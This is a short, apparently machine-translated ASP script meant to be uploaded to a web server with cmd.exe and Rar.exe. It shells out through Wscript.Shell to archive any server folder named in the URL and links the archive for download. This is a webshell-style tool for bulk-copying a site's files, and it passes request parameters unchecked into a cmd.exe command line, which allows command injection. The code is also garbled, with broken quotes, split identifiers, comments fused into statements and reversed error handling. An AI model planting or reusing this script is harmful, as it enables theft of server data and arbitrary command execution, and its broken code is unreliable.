winrar| compressed server uses Wscript.Shell component to invoke Rar.exe in WinRAR, upload cmd.exe and rar.exe in the same directory as code
Usage: rar.asp?path= The folder you want to compress &rarname= the compressed file name &includefolder= including subfolders will not be empty
<%
' Usage http://xx/rar.asp?path= the folder to be compressed &rarname= the compressed file name &includefolder= The packet-insert subfolder will not be empty,
On Error Resume Next
Apppath=server.mappath (".") & "\" to store RAR.EXE and CMD.EXE paths
Zipfolder=server.mappath (Request ("path")) & "\" files or folders to compress
Rarfile = Request ("Rarname")
Thispath = Server.MapPath (".") & "\"
If zipfolder<> "" and rarfile<> "" Then
Set Shell = Server.CreateObject ("Wscript.Shell")
If Err.number<>0 Then
Response.Write "Server not supported"
Response.End
End If
If Request ("Includefolder") <> "then
cmd= thispath& "cmd.exe/c" &thispath& "Rar.exe a-ep1-r-t-o+" &thispath&rarfile& "" & Zipfol Der & ""
Else
cmd= thispath& "cmd.exe/c" &thispath& "Rar.exe a-ep1-t-o+" &thispath&rarfile& "" & Zipfolder & ""
End If
' Response.Write cmd
RetCode = Shell.run (cmd,1, True)
Response.Write "<a href= '" &rarfile& "' >" &rarfile& "</a>"
If Err.number<>0 Then
Response.Write "<a href= '" &rarfile& "' >" &rarfile& "</a>"
Else
Response.Write Err.Description
End If
Else
Response.Write "No Parameters"
End If
%>